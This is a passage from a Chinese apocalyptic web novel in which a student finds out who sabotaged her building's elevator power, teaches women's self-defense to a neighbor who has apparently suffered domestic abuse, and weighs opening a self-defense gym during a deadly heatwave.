电梯备用电源的线烧了，跳闸的时候李阿姨还刚好就在电梯里，这巧合也太多了！ 要说公寓楼里谁家“得罪”的人最多，那必然就是奚川家了，他太有钱了，和这栋鱼龙混杂的公寓楼简直格格不入。 放在以前，这可能没什么，但现在可是末世！ 在某些人看来，他还不够接“地气”，暴雨的时候，他家有专门的船每天送食材过来，现在高温了，他还弄了个专属电梯，而其他人只能辛辛苦苦爬楼梯下楼买能量饼干和饮用水…… 群里说了那么多次电梯的事，奚川从来没有回应过。 虽然他并没有做错过什么，但对某些心理不健康的人来说，在逆境中，奚川拥有的比他们多，还对他们的困难袖手旁观，就足够让他们给奚川定罪了。 秦小薇四处看了看，见走廊上没有其他人，她靠近李阿姨，压低声音打断了她和屋里人的对话：“李阿姨，昨天的跳闸，该不会是有人针对你们家，故意做的吧？” 李阿姨被她的言论吓了一跳：“不、不可能吧？谁会干这么缺德的事？来救援的人都说了，要是电梯忽然下坠到停车场，可是会死人的……这可是谋杀。” 虽然嘴里说着“不可能”，但她的语气里却全是犹疑。 她自己也清楚，楼里有多少人，单方面和他们家有矛盾。 秦小薇拿出昨晚陆昼的理由：“但咱们这栋楼这段时间有不少人都搬出去了，楼上楼下有些商家也关门歇业了，之前人多的时候都没跳闸，怎么人少了，反而开始跳闸了……” 李阿姨的表情有些慌乱：“哎，不行！我得和少爷说说这件事……” 说着，她也顾不上电梯卡的事了，重新折回了屋里，留秦小薇一个人在门外。 秦小薇并没有离开，一直站在门口等着，过了没一会，之前给她开门的那个保镖走了出来：“我带你去刷电梯卡。” 秦小薇有心想问他们打算怎么办，但这个保镖一直冷着一张脸，一副生人勿近的模样，她也就没有自讨没趣。 拿到了重新激活的电梯卡后，秦小薇认真道了谢才回家。 也不知道李阿姨他们有什么打算？真要是有人故意使坏，可得快点把人抓到才行！ 毕竟她也是电梯的受益者之一，要是有人趁着她坐电梯的时候故意把电闸拉了……算了，这几天还是先走楼梯吧！ 安全最重要！ 回家后，秦小薇直接进了空间，让陆昼给自己做饭。 秦小薇：“我想吃葱花蛋饼、胡萝卜炒培根，炒菜少放点油，我要配卷饼吃！” “葱花蛋饼？”陆昼的眉头微不可察地皱了皱。 秦小薇察觉到他神情的异样：“不会？不对，你之前做过玉米胡萝卜虾仁馅的煎饼，鸡蛋之前也吃过很多次……你不吃葱？” 陆昼面无表情地看着她：“在末世生活了那么多年，我早就没有挑食的毛病了！” 秦小薇绕着他转了两圈，像是发现了什么新大陆似的：“你肯定不吃葱！” 决定了，从这顿饭开始，她要把葱花纳入必吃食材里面，还要切得细细地，让陆昼挑都挑不出来！ 阿霞之前那几株葱买得好啊！要不然她现在都没有“道具”整陆昼！ 秦小薇拍了拍他的肩膀：“快去做饭吧！傍晚忘记给你留面包了，你现在肯定饿了！早做好早开饭！” 陆昼：“……”没留面包难道不是她故意的？ 陆昼做饭的时候，她就在边上监督他，见他“忘记”放葱，她直接伸手抓了一大把进面盆里，还“帮”他把面糊搅匀了，炒菜出锅的时候，更是直接撒了一大把进锅里。 陆昼：“……” 今天的饭菜不适合拉布拉多，它吃的是陆昼另外水煮的鱼肉、虾肉还有胡萝卜。 秦小薇以前对葱花的感官一般，属于放不放都行的那种，比起葱花，她更喜欢香菜。但看到陆昼吃饭的动作变得那么“秀气”，她忽然觉得，盘子里的葱花蛋饼变得异常美味。 难怪阿霞每次吃面都要放很多，真的有点香！ 可能是因为末世的那段经历，陆昼并没有浪费食物的习惯，今天的饭他全都吃完了，只不过花的时间比平时长亿点点而已…… 吃完饭休息了一会，秦小薇又练了两个多小时的拳，才去睡觉。 睡前，她特地看了下打卡群里的消息，发现晚上她在银行上班的时候，公寓楼里没再“断电”。 这让她对于陆昼之前的怀疑更加确信几分。 第二天，秦小薇照常外出上班，今天银行的职员依旧没有来齐，她闲聊的时候和同事们打听了一下才知道，原来他们支行有好几个员工因为温差变化中暑了，正在医院住院。 现在大家已经产生了一种共识，住院等于半只脚踏进鬼门关，能不能活着出来都是个未知数。 毕竟现在一般的小病都住不了院，非急诊手术，医院也不做，医院几乎所有的科室都在治疗中暑的病人…… 方圆还特别兴奋地和秦小薇说，她师傅让她好好干，说她有很大的机会可以转正。 秦小薇：难怪支行连她这种消极怠工的员工都要留？原来是职工快要病死了，无人可用，只能留她这种熟手先顶着…… 毕竟她虽然业绩不太行，其他的活还是挺熟练的，身体素质也很好……现在这种情况，算是“天选打工人”了。 不过这件事对一直想要留下来转正的方圆来说，应该算是天降馅饼了。 一转眼，就到了周末，还有一周，秦小薇的实 习就结束了。 因为上次和陆昼打架打输了，最近这几天，她每天晚上回家都会练拳。 但临近实习期结束，想到以后不用再通勤一两个小时上下班，她心里除了松口气的感觉，还有种对未来的迷茫。 以前，秦小薇清楚地知道，自己毕业后该干什么，人生目标是什么。 但从陆昼那知道这个世界的真相后，她所有的规划都被推翻了，这些天，她一直在思考，除了依赖空间，她还能做什么…… 虽然陆昼总是和她说，这个世界以后不会好了，秦小薇每天看到的现状似乎也正在印证这一点，但这个世界依旧有很多人，在努力维持社会的平稳运转。 秦小薇不想放弃现有的一切，龟缩在空间里……那算是她预想中最坏的情况了。 这几天，公寓楼一直没断过电，秦小薇一直在关注电闸的事，还找李阿姨打听过，但李阿姨说得含糊其辞，只说奚川另有安排，她也就没再多问了。 周六凌晨下班后，秦小薇忽然接到了一个女生的语音电话，她也住在女寝十二楼，是秦小薇之前暴雨的时候玩游戏认识的。 “秦小薇，我听肖琳琳说，你最近天天在家练拳击，能不能帮我一个忙？我有个表姐，这两天因为一些特殊原因，一个人搬去了临时避暑点，她说她在商场遇到变态了，你能不能教她几招防身？我让她去你家找你……” 秦小薇有些犹豫：“可是，我最近练的是拳击，和女子防身术应该不太一样……” “哎呀，没关系，能把色狼揍跑就行了！就这么说定了，我把你的联系方式给她，让她明天傍晚过来找你，她就住你家边上的商场，近得很，几步路就到……” 说完，还不等秦小薇回应，她就挂了电话。 秦小薇：“……” 秦小薇有些头秃。 她有的几次打架经历，也是凭力气取胜，直到和陆昼打架打输了，她才意识到技巧的重要性，才开始找教练上课。 但普通女生的力气应该没那么大吧？这要怎么教？ 没过多久，秦小薇就接到了女生表姐的电话，她的声音温温柔柔的，一听就是那种温柔、漂亮又有耐心的大姐姐。 秦小薇和她说了自己的情况，但对方再三坚持要和她“学两招”，还说教不好也不怪她……秦小薇最后还是答应了。 想着对方遇到了危险真的会拿她教的东西对付色狼，秦小薇并不敢随便教，她上网下载了一堆女子防身术的视频，决定来个现学现卖。 陆昼在边上做饭的时候，她就坐在一旁研究女子防身术。 她的电脑一直开着外放，惹得陆昼看了她一眼又一眼。 终于，他忍不住了：“这个视频你已经放了三遍了……你放心，我不会对你做这种事，你不用看得这么认真！” 秦小薇冲着他翻了个白眼：“你想多了！你没机会对我做这种事……有个朋友的姐姐在商场住，遇到变态了，想和我学两招防身，我临时抱个佛脚……” 陆昼停下手里的动作，他上下打量了秦小薇两眼，眼里全是嫌弃。 虽然什么都没说，但他的表情又像是什么都说了。 秦小薇不高兴了：“你这表情是什么意思？你觉得我不行？” 陆昼：“你动手的时候浑身都是破绽，也好意思教人？不怕把人带到沟里去了？” 秦小薇不满：“那是以前……” 她上下打量了陆昼两眼，眼珠子一转，忽然有了主意：“既然你这么自信，要不你教我几招？你要是教会了我，我就……我就给香肠买宠物专用的沐浴露，你不是想给它洗澡吗？” 陆昼一直想给拉布拉多洗澡，前些天还找秦小薇要狗狗专用的沐浴露，但秦小薇嫌麻烦，就让他用人用的凑合一下，陆昼却说人用的沐浴露对狗来说有毒，怎么都不肯用，这事也就一直拖着。 陆昼冷笑：“我可不会什么女子防身术，我只会杀人的技巧。” 秦小薇：“……” 看到她一脸便秘的表情，陆昼勾了勾唇：“现在外面的世界，学点杀人的技巧没什么不好的……至少危急时刻可以自保。” 秦小薇白了他一眼：“做你的饭去吧！” 虽然他说得有那么一丢丢道理……但她是疯了才会去教陌生人杀人的技巧。 可能是因为她这具身体天生运动细胞发达，秦小薇看了几遍视频里的动作拆解就觉得自己会了，但她毕竟是要教人的，不好这么敷衍，便让陆昼给她当陪练。 陆昼拒绝道：“没那闲工夫，我要休息了！” 秦小薇：“不当陪练那你明天就饿肚子吧！” 陆昼：“……秦小薇，你能不能换个威胁人的手段？” 秦小薇得意洋洋道：“招不在新，有用就行。” 在陆昼的“强烈”要求下，秦小薇把练习地点定在空间里一栋户外充气乐园里面，里面的充气垫非常厚，怎么摔都不会受伤。 几分钟后，陆昼被她掀翻在充气垫上。 陆昼：“秦！小！薇！说好的只是试动作呢？” 秦小薇：“这不是正在试吗？快起来，我们继续试下一个动作……你一个大男人，大方点，别磨磨唧唧的……起来！我们继续，别矫情！摔一下又不疼……再来！都已经开始了，别半途而废……起来，明天不往你的菜里撒葱花了……” 陆昼：“……” 刚开始几次，陆昼还会乖乖配合，到了后面，他就不按照视频里的来了，会突然搞假动作偷袭其他地方，还美其名曰“锻炼”秦小薇，免得她只会照本宣科…… 刚开始，秦小薇确实被他制住过几次，但随着“练习”的次数增多，她的反应越来越快，后面基本上不会被他“偷袭”成功。 四个小时后，秦小薇把躺在充气垫上怀疑人生的陆昼拖回了他的屋里铐上，心满意足地离开了空间。 感觉女子防身术也不是很难，看几遍就会了！她明天应该能教好那位姐姐！ 过来找她学女子防身术的姐姐叫罗青，她很瘦，长得也很漂亮，虽然因为很多天没有洗澡洗头，让她看上去有些邋遢，但她身上那股温柔沉静的气质却是怎么都遮掩不住的。 见面后，罗青递给她一个袋子，表情有些局促：“我没什么能当学费的，就给你带了两瓶可乐，你不要嫌弃。” 秦小薇接过袋子，惊喜道：“不嫌弃！不嫌弃！现在可乐很难买的，我想喝还买不到呢！罗青姐，你先进来吧……” 简单寒暄了两句，教学就开始了。 女子防身术，原本应该要两个人先演示一遍，再拆分动作教的，但肖琳琳的感冒还没好，她也就没去寝室群里找“帮手”。 她昨晚连夜做了拆解动作的PPT，她先带着罗青看了几遍视频，又对着PPT仔细说了每个动作该怎么拆分，才开始带着罗青实战。 秦小薇：“罗青姐，现在我就是视频里的变态，等下我会把你压在地上，然后掐住你的脖子，你就照着视频里的，先掰我小拇指，再用手肘攻击我……你力气比较小，所以我们今天的训练重点不是打败敌人，而是制造条件逃跑，然后寻求帮助。” 罗青点头：“好！” 罗青学得很认真，但她的运动天赋不像秦小薇那么强，同一个动作，秦小薇看一两遍视频就能学会，她却需要练习很久才能达到想要的效果，不过她中途一直没有喊累，也没有喊停。 还是秦小薇看她喘得厉害，才停下来让她休息一会。 秦小薇注意到，她被长袖包裹的胳膊上，有很多新旧不一的伤痕，联想到她说自己是和老公吵架后搬出来住的，秦小薇对她的遭遇有了些不好的猜测…… 外面现在还是有酒店开门营业的，只不过价格非常高，房价是暴雨之前的好几倍。 真要只是夫妻之间吵架闹脾气，去酒店开个房住两晚就行了，怎么会想在临时避暑点常住？ 第54章 第54章山火（双更合一） 罗青并不是本地人,她是从外地嫁过来的，婚后就一直在家里当家庭主妇，照顾她和她老公的小家。 看罗青提起她老公的表情,秦小薇猜测,她在这段婚姻里过得并不好。 秦小薇并没有追问她的经历,揭她的伤疤，只是教人的时候,更用心了一些。 罗青结束课程回商场之前,秦小薇还送了她一个防狼警报器和一瓶防狼喷雾，这东西还是她涨水的时候下单的,当时买了一大堆，不过买回来之后，到现在 一次也没用上。 秦小薇很喜欢这位姐姐身上的气质,想帮帮她。 虽然她也不确定,自己这点微不足道的帮助能不能帮她走出困境…… 罗青离开后，秦小薇打开手机上了会儿网，看到寝室群里的消息后,她的眉头忍不住皱了下。 【段霞：我妈让我准备教资考试，毕业之后回老家当小学体育老师,还能顺带照顾我弟弟。】 【段霞：今年的秋招和校招什么时候能开始啊？好想找工作,我这个月投出去的简历一份都没有收到回复……】 【范槿：抱抱.jpg】 【范槿：我今天也不太顺，和我妈从银行取完钱出来的时候，碰到了抢劫的。】 【肖琳琳：饭饭,你和阿姨没受伤吧？】 【范槿：我还好，但我妈的脑袋被敲了一下，去医院检查，医生说是有点脑震荡,要好好休息。】 【范槿：我当时光顾着我妈了，让那个劫匪跑了，我们后来去警察局报警，等了好久才有人给我们做笔录，也不知道能不能抓到那个人……】 【肖琳琳：咱们三个最近是不是水逆？怎么都这么不顺？】 看到肖琳琳的消息，秦小薇想，不是她们三个水逆，而是1206的四个人都水逆。 高温还没开始，她就被陆昼这个变态缠上了，还一直被威胁，之后又生病；范槿的爸妈先后出事；段霞和肖琳琳又丢了实习工作，肖琳琳已经病了十来天了，外面连药都买不到，她全靠秦小薇之前囤的药撑着。 现在段霞还被要求毕业后回老家……段霞当初选择来宁市上大学，就是想离家远一点，不想余生都被要求为她弟弟“奉献”。 眼前虽然困境重重，但秦小薇始终相信，熬过这一阵，总有“轻舟已过万重山”的那一天。 她没了上网的心情，在群里鼓励了段霞几句，就关上手机，打开电脑，继续研究昨天下载的视频。 等她研究得差不多了，就抱着电脑进空间里找陆昼当“陪练”。 知道她的来意后，陆昼忍不住揉了下自己已经发青的胳膊：“你昨天学的那些，还不够你教的？” 秦小薇：“不够！我感觉那位姐姐好像遭遇了家暴，可能要学一点更厉害的东西才能自保，我得提前准备一下！” 陆昼：“烂好心可不会有什么好下场！” 秦小薇：“只是在别人需要帮助的时候伸把手而已，况且，我也不是什么人都帮的……” 除了真的同情罗青的遭遇之外，还因为对方也是被异性“欺负”，让她有点联想到了自己现在的处境……虽然她俩的遭遇根本不是一回事！ 陆昼看了她一眼，抿了抿唇，挽起袖子朝着另一边的充气乐园走去：“你这哪是伸把手？我看你手都恨不得伸进人家家里去了……走吧，记得给香肠买沐浴露！” 练了一会，陆昼又因为秦小薇出手太重，开始“偷袭”她。 面对陆昼的“偷袭”，秦小薇的反应比昨天快多了，中途他们“练”出了火气，还在充气垫上打了一架。 可能是因为她这些天把放下许久的拳击训练又捡起来了，还找了几百块钱一节课的私教，这次和陆昼对打，她竟然没落下下风太多……虽然，她最后还是利用仓库作弊才险胜的。 不过秦小薇觉得，只要她继续练下去，总有一天，她不用仓库，也可以把这家伙直接压在地上揍！ 从仓库出来后，陆昼看着她的眼睛都在冒火：“秦！小！薇！你又来这招！” 秦小薇摊了摊手，理直气壮道：“我利用一下自己的优势怎么了？有本事你也绑定一个农场空间，把我也装仓库里啊！” 上次是她被气糊涂了，才没用仓库作弊，直接上拳头莽。 那次简直是奇耻大辱！ 她发誓，有那一次就够了，她以后打架，绝对不会输给陆昼这狗东西！ 陆昼：“……” 他闭了闭眼，恨恨丢下一句“你自己练吧”，就从充气垫上跳了下去。 秦小薇：“哎！陆昼，你别走啊！还没结束呢！你是不是输不起？” 秦小薇有些后悔，早知道就不用仓库作弊了……不行，还是赢这家伙更重要，他不想当陪练就不当吧！ 她自己琢磨！ 睡前，秦小薇看到了寝室群里的消息。 【范槿：你们快去看同城APP，郊区发生山火了！】 看到范槿的消息，秦小薇心中一跳，她记得陆昼之前说过，他上辈子高温的时候，Q省附近的山脉几乎全烧光了，难道这次也没能避免？ 她打开同城APP看了看，首页很多人发帖讨论这件事，住在附近的人还拍了照片上传到APP上。 秦小薇挨个点开照片，大火点燃了好几座山，空中全是浓烟，山都变成了橙黑色的，天空也被染成了橙色…… 她翻了下评论区，才知道高温刚开始的时候，市政的人就让山脚附近的人迁走了，还在山脚下挖了防火隔离带，有好几十米宽，防止山火蔓延。 所以现在那边并没有人员需要救援，让消防头疼的是，该怎么在全市断水、水库几近干涸的情况下，把山火扑灭，不让它继续蔓延…… 因为高温，空气太干燥，这个月宁市发生了不少起火灾，但这次山火的规模，算是最大的了！ 为了消灭山火，市政出动了不少消防员，APP上也有人在更新最新进展，但秦小薇一直熬到上午十一点多，APP上依旧没有传来山火被扑灭的“捷报”。 她困得不行，后面实在是熬不住，便去睡了。 直到傍晚睡醒，APP上才传来山火控制住的消息，火还没有熄灭，不过火势范围控制住了，大火不会再朝着其他的山脉蔓延了！ 水资源不足，消防员采用的是以火灭火的方法，先在还没起火的地方点一把火，把那里的植物都烧光，制造防火隔离带，等火势蔓延过来了，没有可燃物可烧，大火自然也就灭了…… 看到火势得到控制的消息，秦小薇和论坛里关注这事的其他人一样，都松了一口气。 晚上七点多的时候，罗青敲响了她家公寓的大门。 秦小薇担心她记不住太多东西，并没有教罗青太多的技巧。 今天的教学内容是带着她重复练习昨天学的东西，让她形成肌肉记忆，遇到危险的时候可以条件反射地用出来，而不是手忙脚乱不知道该怎么办…… 罗青今天依旧练得很认真，她在公寓里待了四个多小时才浑身是汗地离开。 秦小薇身上也都是汗，她去空间里冲了个澡，又洗了个头，才觉得舒服一点。 她现在每天都会冲澡，头是一周洗一次，因为她练拳会出很多汗，再加上上下班路上也会出汗，她和其他人一样，身上都有明显的汗味，就算她洗头洗澡 的频率比其他人高，目前也没人发现她的异常。 除了特效避暑药和防晒油，药店已经开始卖虱子粉了，价格非常便宜，几块钱就可以买一大包让全家人一起用。 秦小薇虽然想融入人群中，但长虱子这种事她还是有点接受不了，一周洗一次头已经是她的极限了…… 她刚从空间里出来，就发现屋里又断电了，她的第一反应就是，之前拉电闸的那个人又动手了。 秦小薇打开手机看了下打卡群里的消息，群里已经在聊这事了。 有人怀疑是不是楼里有人在偷偷用功率特别大的电器，才会造成跳闸断电；有人抱怨着下楼不方便，准备去外面凑合几个小时；还有人催三楼的住户去供电房检查…… 秦小薇没在群里发言，只默默守着手机，关注这件事的后续。 大约二十分钟后，供电重新恢复，对面一直潜水打卡的奚川也难得在群里发了一长串话。 【9003奚川：上次和这次的断电都是8009的刘军干的，目的是报复我不借电梯给他家用，想要谋杀我。人已经交给警察了，这件事就算法院不重判，我的律师团也会把他告到倾家荡产。我在供电房、一楼，还有地下停车场都安装了摄像头，家里一直有保镖盯着监控，下次楼里谁想搞小动作害人，记得提前掂量一下。】 态度可以说是非常刚了。 秦小薇：人终于抓到了，她明天不用爬楼梯上下班了！ 奚川的消息发出来之后，群里安静了好一会才有人发消息。 【1608白天鹅照相馆：奚川，我说句公道话，你别不爱听，你要是一早把电梯的权限改了，也就不会出这事了。】 【2102星河棋牌：是啊！大家都是邻居，遇到了困难，不就应该你帮助我，我帮助你吗？】 …… 以往群里也有人试图这样道德绑架奚川，不过奚川从来没有回应过，这次可能是真生气了，他一连发了七八条语音消息怼了回去。 【9003奚川：别跟我说那些有的没的，不爱听！闭嘴！】 【9003奚川：互相帮助？我看你们是想占我的便宜吧？】 【9003奚川：我自己装的电梯，想给谁用就给谁用！有本事你也装一台自己一个人用啊！穷逼！】 …… 现在温度高，大家的脾气都暴得很，见奚川直接在群里骂人，他们也发语音消息骂了回去。 一时间，群里的消息刷得飞快！ 秦小薇吃瓜的速度都赶不上他们发语音消息的速度…… 秦小薇第一次见识到这位邻居的战斗力，见他竟然能一个人大战这么多人还不落下风，不由得感叹，他不愧是陆昼的朋友，气人的功力一绝！ 不过，今天这事一出，9003怕是真的要成楼里的“公敌”了！ 不过奚川有钱，还有陆昼这么个有权的朋友，家里还养着一堆保镖保护他的安全，他应该也不在乎自己会不会成为“公敌”…… 一个小时后，这场骂战以奚川解散打卡群结束，因为他觉得群里和他吵架的人都是狼心狗肺的家伙，不值得他费心组建打卡群确认他们的安全。 秦小薇进空间吃饭的时候，忍不住和陆昼说了这件事：“……你朋友的嘴炮是真的强！你们俩要是吵架了，谁会赢啊？” 听完秦小薇的话，陆昼的眉头都快拧成一个疙瘩了：“愚蠢！这才一个多月，他就闹出了这么大的事！” 秦小薇抬头看了他一眼：“你说的大事，是指奚川被人拉电闸针对还是和楼里的邻居吵架？” 陆昼：“都有，现在可是末世，他不搞好邻里关系也就算了，竟然还刻意树敌！” 秦小薇放下筷子，有些好奇地看着他：“要是你遇到了这件事，你会怎么处理？” 陆昼：“我一开始就不会让事情发展到这一步！要是真发生了……我大概会先利用拉电闸的人杀鸡儆猴，让他们知道我不好惹，然后再挑我不用电梯的时间，限时开放电梯，顺势缓和和邻居的关系……” 秦小薇：“……”好一招恩威并施，他这是拿楼里的邻居当下属训？ 她用筷子戳了下碗里的面条：“陆昼，我发现你这个人揣摩人心还是很有一套的，怎么对我上来就是威胁？” 陆昼动了动唇，还是决定不惹她生气，免得她又变着法折腾他，低下头默默吃饭。 秦小薇：“……” 一转眼，又是一周的时间过去，周六凌晨下班前，秦小薇顺利地拿到了实习证明，办好了离职手续。而和她同期的方圆，等拿到了毕业证，就可以转正了，也算是实现了自己的目标。 骑车离开之前，秦小薇忍不住回头看了一眼银行亮着的招牌。 告别这段时长九个月的旅程，她心里并没有多少不舍，只是有点迷茫。 她到现在都还没想好，以后要干什么…… 慢慢想吧！她才二十一岁，人生还有很多可能等着她去发现！ 回去后，秦小薇一觉睡到了傍晚，想到她欠陆昼的宠物沐浴露已经拖了好几天了，便打算去趟超市。 太阳刚刚落山，外面的温度还很高，骑车走在路上，就像是待在一个大蒸笼里。 可能是因为秦小薇最近一直在吃特效避暑药适应高温，她在外面待着，并没有其他人常有的心慌气短、头晕胸闷的症状，只是觉得热，非常热，身上也一直不停地冒汗。 还没到超市，她就灌了半瓶淡盐水防止脱水…… 这一个多月以来，宁市之前已经恢复营业的大型超市全都在正常营业，但人们对于抢购新鲜食物的热情明显降低了许多。 一是因为某些人住得远，再加上之前涨水的时候报废了不少车，现在打车费又高，很多人出行都只能坐公交、步行，或是骑车。 超市还搞限购，在外面待那么久就只为了一顿饭，还有中暑的风险，很多人都觉得不值得，只偶尔去一趟超市买点东西打打牙祭。 二是温度太高了，有时候肉类在超市看着还挺新鲜的，拿回家放一两个小时，就感觉味道不对了，很容易吃坏肚子，现在医疗挤兑，生病了就医困难，药店也买不到药，官方新闻也呼吁市民们尽量待在家里，不要出门。 大家不愿意拿自己的生命安全冒险，很多人都选择在家附近买能量饼干吃。 连着吃了好几个月，有些人也习惯了一天三顿都吃能量饼干，虽然他们很怀念以前一天三顿都能吃到不同食物的日子…… 超市里只有零星几个员工，很多货架都是空着的，顾客也不多，秦小薇推着一辆购物车转了一圈，除了宠物沐浴露，她还拿了一些生活用品。 好久没来超市了，超市里的生鲜食品已经变成了每人每天限购一斤，大米之类的主食也从每人每天限购三斤变成了两斤。 可能是因为太热，地里的作物都枯死了，现在生鲜区的品种少得可怜，售卖肉类的冷柜里甚至是空着的。 秦小薇转了一圈，拿了一袋大米和一袋葱。 这葱虽然看着有点蔫吧，但根还在，应该能种活吧？ 因为陆昼特别讨厌吃葱，她最近和段霞一样，快变成一个吃葱狂魔了。 之前段霞买的那些葱虽然窜根后又新长出来了不少，但她天天剪，也有逐渐变秃的趋势……得种点新的补充一下，不能可着一盆葱薅！ 回家后，秦小薇直接进了空间，她把买回来的沐浴露扔给陆昼，自己则去另一边的空地里种葱。 秦小薇：“喏，你要的沐浴露，可以给你的狗洗澡了！” 陆昼：“我还以为你这张空头支票兑换不了了！” 秦小薇翻了个白眼，直接怼了回去：“什么空头支票？像我这种生意人，是最守信的！之前是要忙着上班，没时间出门罢了……” 虽然她拖了这么久，确实有她不想为了陆昼养的狗专门跑一趟超市的原因…… 陆昼似笑非笑地看了她一眼，没有拆穿她。 他瞥了眼在空地上忙活着种葱的秦小薇，又看了看灶台上正在加热的开水。 刚移栽的植物本来就不容易成活，他再“失手”浇点开水，她应该就没机会吃上那些葱了吧…… 这些天在空间里，拉布拉多时不时就要下海玩一会，它对洗澡这事并不排斥，陆昼用吹风机给它吹毛的时候，它也没有挣扎，用爪子摁着陆昼给它做的小零食啃得十分欢实。 只是偶尔会突然站起来，甩陆昼一身水…… 秦小薇坐在八角亭里，跷着二郎腿，一边啃曲奇一边围观陆昼给狗洗澡。 有一说一，忽略这家伙干的那些事，他这副皮相还是挺蛊人的，给狗洗澡的时候，竟然有种居家好男人的感觉……不行，根本忽略不了，想到这家伙对她做的那些事、说的那些话，她的拳头就痒痒的！ 吃完东西出空间后 ，秦小薇接到了罗青的电话，对方问她今天有没有时间，能不能继续教她女子防身术…… 银行下班时间不确定，再加上下班回来她自己也要练拳，工作日实在是抽不出时间教罗青，秦小薇这周就只陪她练了一次。 她想到罗青的处境，答应了。 反正现在实习都结束了，毕业论文也弄好了，她也没别的事干，就当是放松了！ 罗青一连来了三天，她每次来的时候，都会给秦小薇带点“小礼物”当学费，大多是她自己亲手做的小摆件或是小饰品，非常有巧思。 秦小薇每次都很开心地收下了。 周一的时候，罗青忽然问秦小薇，收不收学生，说是她在商场认识的朋友想要找私教，想和她一样练点女子防身术防身，她想介绍她们过来上课。 秦小薇：？？？ 哎，不是，她自己都在找拳击教练上课呢！怎么还有人找她当私教啊？ 秦小薇：“呃……罗青姐，你也知道，我虽然是学体育的，但之前没练过女子防身术，教你的那些东西都是现学的……” “但是你教的东西都很有用，我这周还用你教的那招打退了一个变态……”罗青说着伸手比划了一个动作，“你还专门做了PPT备课，薇薇，我觉得你教得不比外面那些专业的教练差……” 被罗青一顿夸，秦小薇增加了一些自信。 难道她真有当健身教练的天赋？ 不行，她才学了多久？还是照着网上的教程依葫芦画瓢，就这种技术，拿出去教人赚钱，总觉得有骗人钱的嫌疑…… 要是有人找她教举重、拳击她还能心安理得地收钱，但女子防身术…… 第55章 第55章转变（双更合一） 虽然被罗青夸得很开心,但秦小薇考虑再三，还是拒绝了。 一是她的公寓实在是太小了，根本施展不开；二是她真的觉得自己教的东西就是从网上随便学的,真要说她教了什么,大概就是带着罗青一遍遍重复攻击的动作,形成肌肉记忆…… 秦小薇：“罗青姐，要是她们真的想学点东西防身,你可以叫几个人和你一起过来学,我可以教她们一些技巧，然后她们回去自己练习……人不要太多,你也看到了，我家很小，就算把客厅的家具都搬去阳台,也站不下几个人！” 罗青：“行,我回去和她们说……那你的同学有没有愿意当私教的？” 秦小薇想了想，摇头：“不知道，回头我帮你问问！” 罗青：“好。” 秦小薇：“行,那罗青姐，我们开始吧！我今天给你加一些力量训练,感觉你的力气不是很够,单凭技巧还是有点欠缺……” 两个小时后，秦小薇送走了罗青，她拿了条毛巾擦了下额头上的汗,然后在班级群里发消息问有没有人愿意做私教教女子防身术，可惜她等了很久，也没有人接单…… 她凌晨下去买水和能量饼干的时候，碰到了李阿姨,秦小薇对奚川抓人的经过非常好奇，便借机和她打听起来了。 事情已经过去了，现在说出来也不会影响奚川的行动，李阿姨也就没有保密。 李阿姨：“少爷上周三就查到是谁干的了，后来就设了个局，故意让那个刘军听到他要出门去找朋友的电话……然后来了个人赃俱获！那个刘军太坏了，竟然真的想杀人，还好我上次运气好，没出事……” 李阿姨想到上次被困在电梯里的事，还有点心有余悸，后面基本上都在骂刘军，秦小薇也跟着谴责了他几句。 因为嫉妒就想动手杀人，她觉得那人简直心理扭曲！ 周二，罗青来找秦小薇帮忙训练的时候，还另外带了两个女生，是和她一起住在商场的新认识的朋友。 因为是无偿教学，秦小薇并不打算花太多时间在她们身上，毕竟她还有自己的事要做，所以她是三个人一起教的。 其中一个女孩非常健谈，和肖琳琳一样，还有点小话痨，休息的时候，秦小薇从她口中知道了不少临时避暑点的情况。 虽然秦小薇之前就从网上知道，临时避暑点很混乱，每天都有吃不完的瓜。 所有人都在地上打地铺，地铺和地铺之间连个隔帘都没有，完全没有隐私可言。吵架、有人偷东西、每天被吵得睡不着、口臭脚臭熏得人头晕……都是她们的日常。 但今天，秦小薇还知道了一些更恶心的东西，几人所在的商场，竟然有人偷偷在女厕所里装针孔摄像头，还有人在厕所的门板上掏洞偷情…… 她听得目瞪口呆，就在门板上掏个还没手腕粗的洞，就能做那种事了？两个人之间不用见面吗？没有前戏吗？ 而且现在厕所没水，里面的排泄物需要清洁工手动清理，味道大得不行，他们做那事的时候不会被臭晕过去吗？ 真是饥不择食啊！ “女孩子一个人搬过去真的特别容易受到骚|扰，尤其是睡觉的时候，你都不知道那些男的会用多恶心的眼神看你，要不是我家里的空调坏了，找不到师傅来修，住酒店又太贵，我根本不会搬过去……” “我本来想去健身房办卡买课的，但宁市就红浦区那边有个教女子搏击术的健身房还在营业，离得太远了，又没有车子过去……” “……” 送走了几人后，秦小薇忽然产生了一个想法，如果……她开个健身房专门教女子防身术或是女子搏击术，应该能赚到钱吧？ 未来如果一直是这种情况，男女天生的体力差距摆在那里，女性遇到的困境肯定会越来越多。 如果社会秩序不完全崩坏，从长远来看，这个市场并不小…… 宁市并没有专门卖防狼喷雾、防狼警报器之类的店，她如果能进到货，再搭配一些其他的防身物品，生意应该会不错。 况且，她穿越后的这具身体，运动天赋真的挺突出的。 开健身房和她最初开家小店的设想，也算是殊途同归了！ 就是不知道未来的情况怎么样，店能不能一直开下去…… 凌晨的时候，秦小薇在群里看到段霞说她要去书店买考教资的资料，秦小薇有些惊讶。 【秦小薇：阿霞，你准备和你爸妈妥协了？】 【段霞：没有，就买几本书摆拍一下敷衍我爸妈，我爸妈天天对我电话轰炸，我有点扛不住了。】 【段霞：等高温结束了，我再继续找工作。】 【秦小薇：抱抱.jpg】 【范槿：猫猫加油.jpg】 【范槿：我也想找个假男友敷衍一下我爸妈，我爸住了次院以后，也开始和我妈一样，催我相亲，说是担心他陪不了我太久，找个男的好好照顾我，他才能安心！】 【范槿：真是气死我了，好不容易捡回一条命，天天说这种丧气话……再说了，我自己没手没脚吗？不能自己照顾自己吗？为啥要把下半辈子寄托在一个陌生男人身上？】 范槿的问题，本质上还是和父母观念不同，她爸妈很爱她，所以希望她能尽快找个伴侣成家，“安定”下来，但范槿则觉得不需要，自己一个人也能过得很好…… 【秦小薇：饭饭，和叔叔阿姨好好沟通，他们会理解的！】 【范槿：唉，就是说不通，他俩现在身体不好，我又不敢像以前一样，和他们吵架，只能哄着。】 【范槿：猫猫叹气.gif】 进空间吃饭的时候，秦小薇忽然问陆昼：“你之前说的蛀虫是什么意思？” 